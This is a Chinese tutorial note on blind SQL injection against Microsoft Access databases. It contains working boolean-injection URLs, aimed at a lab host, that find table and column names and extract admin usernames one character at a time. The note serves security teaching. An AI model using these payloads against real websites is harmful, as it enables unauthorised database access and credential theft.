WEB安全之:Access 数据库 SQL 注入
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
SQL 注入之:Access 数据库
Access 是由微软发布的关系数据库管理系统。
- Access 数据库属于文件型数据库,没有端口号,也没有注释符号。
1 Access 数据库 SQL 注入基础知识
- 数据库后缀名:在 Office 2007 之前
.mdb
,Office2007 及其之后.accdb
1.1 Access 注入常用语句及函数
# 查询给定字符串的长度
len("string")
# 查询给定字符串的 ascii 值
asc("a")
# 查询前 n 条记录
top n
# 查询给定字符串从指定索引开始的长度
mid("string",2,1)
1.2 Access 中的 msysobjects
Access 数据库特有的表是:msysobjects ,可以用它来判断是否是Access 数据库
exists(select * from msysobjects)
2 Access 查询信息
2.1 exists ()
布尔型注入查询方法
2.1.1 查询表名
原理:
- 利用
and exists (select * from tablename)
函数配合 SQL 查询语句查询表名是否存在。存在返回为True
,反之为False
示例:
# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
例:利用 exists (select * from tablename) 查询表名称,若表存在正常显示页面;反之,表不存在。
http://192.168.100.135/index.asp?ID=4 and exists (select * from admin)
2.1.2 查询表字段名称
原理:
- 利用
and exists (select para1,para2 from tablename)
查询表字段名称是否存在。
# 若闭合报错的检测无法确认,尝试忽视闭合符号进行查询:
http://192.168.100.135/index.asp?ID=4 and exists (select username from admin)
2.1.3 猜测表数据长度
原理:
- 确定所要猜测数据位置,Access 下使用
len(字段名称)
函数与所猜测长度做=
相等运算,长度猜测正确为真,正常打印页面。(也可以使用>
、<
)
示例:
# 针对 Access 数据库类型,若猜测表数据长度正确,正常显示页面,反之表不存在。
http://192.168.100.135/index.asp?ID=4 and (select top 1 len(username) from admin)=8
2.1.4 查询字段数据
2.1.4.1 逐字猜解法
配合二分法猜解效果更佳哦
原理:
-
mid()
函数:用于从文本字段中提取字符SELECT MID(column_name,start[,length]) FROM table_name # column_name:必需。要提取字符的字段 # start:必需。规定开始位置(起始值是 1) # length;可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
-
asc(str)
函数:不能查询中文字符# str 为非空字符串,返回字符串 str 的最左字符的 ASCII 码数值 # str 为空字符串,返回 0 # str 为NULL,返回 NULL # 注:asc() 返回数值是从 0 到 255
-
查询出所有字符的 ASCII 码后进行拼接,得到完整数据
示例:
# 针对 Access 数据库类型,若猜测截取数据 ASCII 码数值正确,正常显示页面,反之表不存在。
1. 二分法
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,1,1)) from admin)>97
2. 逐字猜解,配合 Burp Suit
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,1,1)) from admin)=97
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,2,1)) from admin)=100
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,3,1)) from admin)=109
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,4,1)) from admin)=105
http://192.168.100.135/index.asp?ID=4 and (select top 1 asc(mid(username,5,1)) from admin)=110